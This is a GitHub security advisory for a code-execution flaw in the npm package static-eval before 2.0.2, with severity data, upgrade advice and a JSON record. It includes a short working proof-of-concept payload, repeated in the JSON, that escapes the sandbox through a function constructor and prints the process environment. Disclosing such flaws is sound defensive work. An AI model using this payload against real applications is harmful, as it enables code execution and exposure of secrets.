GHSA-X9HC-RW35-F44H

Vulnerability from github – Published: 2020-09-02 15:46 – Updated: 2021-09-27 13:40
VLAI?
Summary
Sandbox Breakout / Arbitrary Code Execution in static-eval
Details

Versions of static-evalprior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.

Proof of concept

var evaluate = require('static-eval');
var parse = require('esprima').parse;

var src = process.argv[2];
var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()'
var ast = parse(payload).body[0].expression;
console.log(evaluate(ast, {x:1}));

Recommendation

Upgrade to version 2.0.2 or later.

Severity ?
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "static-eval"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:34:42Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Versions of `static-eval`prior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.\n\n## Proof of concept\n```\nvar evaluate = require(\u0027static-eval\u0027);\nvar parse = require(\u0027esprima\u0027).parse;\n\nvar src = process.argv[2];\nvar payload = \u0027(function({x}){return x.constructor})({x:\"\".sub})(\"console.log(process.env)\")()\u0027\nvar ast = parse(payload).body[0].expression;\nconsole.log(evaluate(ast, {x:1}));\n```\n\n\n## Recommendation\n\nUpgrade to version 2.0.2 or later.",
  "id": "GHSA-x9hc-rw35-f44h",
  "modified": "2021-09-27T13:40:52Z",
  "published": "2020-09-02T15:46:03Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://snyk.io/vuln/SNYK-JS-STATICEVAL-173693"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/758"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Sandbox Breakout / Arbitrary Code Execution in static-eval"
}


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